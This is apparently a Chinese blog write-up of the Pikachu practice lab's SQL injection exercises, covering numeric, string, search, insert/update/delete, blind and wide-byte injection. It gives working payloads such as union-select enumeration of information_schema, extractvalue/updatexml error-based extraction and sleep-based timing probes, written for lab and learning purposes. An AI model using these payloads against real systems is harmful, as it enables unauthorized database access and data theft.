甲.数字型注入

数字型注入一般提交值没有引号,所以直接在后面构造语句就可以了。

抓包查看

构造语句

提交后

该数据库表内容被爆出来了。

乙.字符型注入

首先我们要知道一点,字符串在数据库中提交是需要用引号将字符串包含的。所以字符型注入一般需要用到引号来闭合字符串,闭合引号后就可以接执行的sql语句,就可以执行。

name='kobe'

这时候需要构造语句  'or 1=1# 单引号是为了闭合1前面的单引号,#是为了注释掉后面语句

这里输入kobe提交后显示了uid和email,猜测语句是 select uid,email from 表 where username='输入的值'

这里要构造语句,输入的值变成'or 1=1#。那么查询语句就是select uid,email from 表 where username=''or 1=1#'

闭合单引号后,把后面一个单引号注释掉。

尝试读取数据库信息。

使用order by 猜表字段数

表字段数为2,开始构造语句

database() 数据库名

version() 数据库版本

user()

22'  union select  database(),user()#

这里了解下mysql中information_schema数据库,他可以帮助我们查询更多信息。

Mysql 5.0以上中,information_schema数据库会记录当前数据库信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  数据库名

group_concat用来合并多条数据记录,可用来合并结果。

因此,查询当前数据库下表名可以使用(group_concat使用与否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查询表中列名

group_concat(column_name) from information_schema.columns where table_name = '列名'、

丙.搜索型注入

搜索框中的数据库语句一般是采用的查询语句,这里我们先了解下sql查询语句

SQL提供了四种匹配模式:% _ [ ] [^ ]

1. %

%表示模糊匹配0或多个字符,如以下查询语句:

select * from user where name like '%三%'; 这个语句将会把name中带有“三”的信息全部查找出来

select * from user where name like '%三' ; 这个语句将会把name中最右边带有“三”的信息全部查找出来

select * from user where name like '三%' ; 这个语句将会把name中最左边带有“三”的信息全部查找出来

2. _

_表示任意单个字符,如以下语句:

select * from user where name like '_三_'; 这个语句会匹配出“二三四”

select * from user where name like '__三'; 这个语句会匹配出“一二三”

3. [ ]

[ ]表示括号内所列字符中的一个(类似于正则表达式),如以下语句:

select * from user where name like '老[大二三]'; 如果都存在的话将找出“老大”、“老二”、“老三”

同时支持缩写0-9、a-z等。

4.[^ ]

类似于正则表达式,将括号内的元素排除,如以下语句:

select * from user where name like '[0-3]个' 将会检索出除了“0个”,“1个”,“2个”,“3个”

————————————————

版权声明:本文为CSDN博主「MuffinFish」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_36113598/article/details/79372493

看题目,首先输入ko,能够查询出来

再输入ob,也可以查询出来

很明显,这里使用的语句,应该是%这种类型的模糊查询方式。

猜测语句是select username,uid,email from 表 where username='%输入的值%'

构造语句,直接使用'or 1=1#

'闭合掉字符串,然后使用#注释掉后面的%'

sql语句很灵活,闭合前一个语句后,可以使用联合查询查询数据库信息,比如'union select user(),2,3#

丁.xx注入

先试一试'union select 1,2#

报错显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3#')' at line 1

发现我们写的语句后面有个引号和括号,尝试构造语句闭合

') union select 1,2,3#

报错select列的数量不匹配,说明执行了我们构造的语句。尝试改成') union select 1,2#

爆表数据就要用 ')or 1=1#

戊.insert/update注入

insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。首先猜测语句类型,是查询类的可以通过union语句来查询。

首先,添加用户的地方是对数据库表进行写入操作。

我们要了解,sql中写入新数据,用的语句是

INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

使提交报错也印证了语句是用是insert into语句

首先要了解insert注入一般使用的语句

extractvalue(1,concat(0x7e,(database()))) and '1'='1'

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

concat函数是mysql的字符串连接函数

里面可以执行sql语句

select concat(0x7e,(select user()) ,0x7e)

验证结果:16进制也能被自动转义(0x7e是 ~符号)

下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

https://blog.csdn.net/zpy1998zpy/article/details/80631036

就是使extractvalue函数中第二个参数变成~select detabase(),这样与extractvalue函数规定的语法不同,就会引起报错。

在写入数据的地方使用构造语句

ttt'and extractvalue(1,concat(0x7e,(database()))) and '1'='1

updatexml()

做数据修改的时候会存在update注入的地方

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

报错语句为

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

构造语句

aa' and updatexml(1,concat(0x7e,(database())),1) and '1'='1

其实也可以使用extractvalue(),只要有报错,会执行我们构造的语句就成。

己.delete注入

sql中删除数据一般使用

DELETE 语句

DELETE 语句用于删除表中的行。

语法

DELETE FROM 表名称 WHERE 列名称 = 值

点击删除

抓包看

删除的列名为id,值为59。不为字符串,可直接构造语句

and extractvalue(1,concat(0x7e,(database())))

url上改直接输入

改数据包需要使用空格实体或者+

庚.http header

web渗透很多地方都涉及到数据包头部的改写,我这里就不多说。

这题很坑的地方在于,不了解后端代码是怎么写的做起来很别扭,因为这题目要显示出包头的信息根本不需要将包头信息存储在数据库中。代码里倒是写进数据库了,但后面调用是直接读前端获取到的头部信息,没有从数据库中读取,可能作者是想做个类似访问记录的东西。

辛.boolian盲注

根据返回信息判断语句是否正确。

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

kobe' and 1=1#
kobe' and 1=2#

发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞

length(database())
判断 数据库名称的长度

kobe' and
length(database()) >5#

SUBSTR函数

substr(database(), 1, 1) 截取数据库名称第一个字符

ascii(substr(database(),
1, 1)) 截取数据库名称第一个字符,转换成ascii值

kobe' and
ascii(substr(database(), 1, 1)) > 105# 判断数据库名称第一个字符ascii值的大小

判断出数据库名称后可以使用substr(database(),1,1)='字母'#

进行爆破,然后substr(database(),2,1)='字母'#依次爆破,得出完整数据库名。

这里简要说明下SUBSTR函数:

SUBSTR函数是用来截取数据库某一列字段中的一部分。

在各个数据库的函数名称不一样

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是从pos开始的位置,一直截取到最后。

还有一种比较常用的是:

SUBSTR(str,pos,len);

这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

需要注意的是:如果pos为1(而不是0),表示从第一个位置开始。

————————————————

版权声明:SUBSTR函数说明为CSDN博主「呼啸」的原创,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/howlaa/article/details/16825761

壬.延时盲注

构造语句,使语句提交操作延时,来判断构造的语句是否正确。

kobe' and sleep(3)#

该语句表示如果存在kobe,则延时提交3秒。

根据这个方法,可以组合其他语句来猜解当前数据库信息。

lili' and if(substr(database(),1,1)='p',sleep(5),1)#

盲注可以通过爆破来辅助猜解,具体参考https://www.cnblogs.com/paperpen/p/12324363.html

癸.宽字节注入

宽字节注入是因为数据库使用了GBK编码,多字节的编码,两个字节代表一个汉字。

注入中单引号存在被反斜杠转义的情况。\',其中\的十六进制是 %5C。%df'被转义成%df\',就变成了%df\'=%df%5c%27,%df%5c 是一个宽字符,也就是縗,也就是说:%df\' = %df%5c%27=縗'。单引号就可以按照初期想法被识别。

构造语句kobe%df%27 or 1=1#,通过网页修改无效,直接修改数据包,成功。

pick靶场-sql注入的更多相关文章

  1. 靶场sql注入练手----sqlmap篇(纯手打)

    靶场地址:封神台 方法一.首先尝试手工找注入点判断 第一步,判断是否存在sql注入漏洞 构造 ?id=1 and 1=1 ,回车,页面返回正常 构造 ?id=1 and 1=2 ,回车,页面不正常,初 ...

  2. Pikachu靶场SQL注入刷题记录

    数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...

  3. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  4. 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记

    伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...

  5. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  6. SQL注入靶场

    靶场搭建 系统环境&工具 环境采用centos7的版本(纯命令行),采用一键部署平台,phpstudy工具,安装教程链接:https://www.xp.cn/linux.html#instal ...

  7. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  8. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  9. [靶场实战]:SQL注入-显错注入

    SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...

随机推荐

  1. Jmeter(五) - 从入门到精通 - 创建网络计划实战和创建高级Web测试计划(详解教程)

    1.简介 上一篇中宏哥已经将其的理论知识介绍了一下,这一篇宏哥就带着大家一步一步的把上一篇介绍的理论知识实践一下,然后再说一下如何创建高级web测试计划. 2.网络计划实战 通过上一篇的学习,宏哥将其 ...

  2. HashMap1.7和1.8,红黑树原理!

    jdk 1.7 概述 HashMap基于Map接口实现,元素以键值对的方式存储,并允许使用null键和null值,但只能有一个键作为null,因为key不允许重复,另外HashMap不能保证放入元素的 ...

  3. Java实现 LeetCode 528 按权重随机选择(TreeMap)

    528. 按权重随机选择 给定一个正整数数组 w ,其中 w[i] 代表位置 i 的权重,请写一个函数 pickIndex ,它可以随机地获取位置 i,选取位置 i 的概率与 w[i] 成正比. 说明 ...

  4. Linux目录处理命令mkdir详解

    mkdir(英文原意:make directories),基本作用是创建新的目录,命令的路径及权限: 可以看到,这个命令的路径是/usr/bin/mkdir,所以它的执行权限是所有用户 mkdir 创 ...

  5. iOS -程序启动原理和UIApplication的介绍

    一.UIApplication 简介       (1)UIApplication对象是应用程序的象征,一个UIApplication对象就代表一个应用程序. (2)每一个Application都有自 ...

  6. 小师妹学JavaIO之:文件系统和WatchService

    目录 简介 监控的痛点 WatchService和文件系统 WatchSerice的使用和实现本质 总结 简介 小师妹这次遇到了监控文件变化的问题,F师兄给小师妹介绍了JDK7 nio中引入的Watc ...

  7. kvm的命令简单使用

    virsh命令常用参数总结   参数 参数说明 基础操作 list 查看虚拟机列表,列出域 start 启动虚拟机,开始一个(以前定义的)非活跃的域 shutdown 关闭虚拟机,关闭一个域 dest ...

  8. java实现简单的oss存储

    oss 工作中需要用到文件上传,之前使用的是本地文件系统存储方式,后来重构为支持多个存储源的方式,目前支持三种方式:local.seaweedfs.minio 存储介质 seaweedfs seawe ...

  9. ES6优雅的异步操作Promise()

    一.Promise()的基本使用 <!DOCTYPE html> <html lang="en"> <head> <meta charse ...

  10. ES 复合查询

    ES在查询过程中比较多遇到符合查询,既需要多个字段过滤也需要特殊情况处理,本文简单介绍几种查询组合方便快捷查询ES. bool布尔查询有一个或者多个布尔子句组成     filter 只过滤符合条件的 ...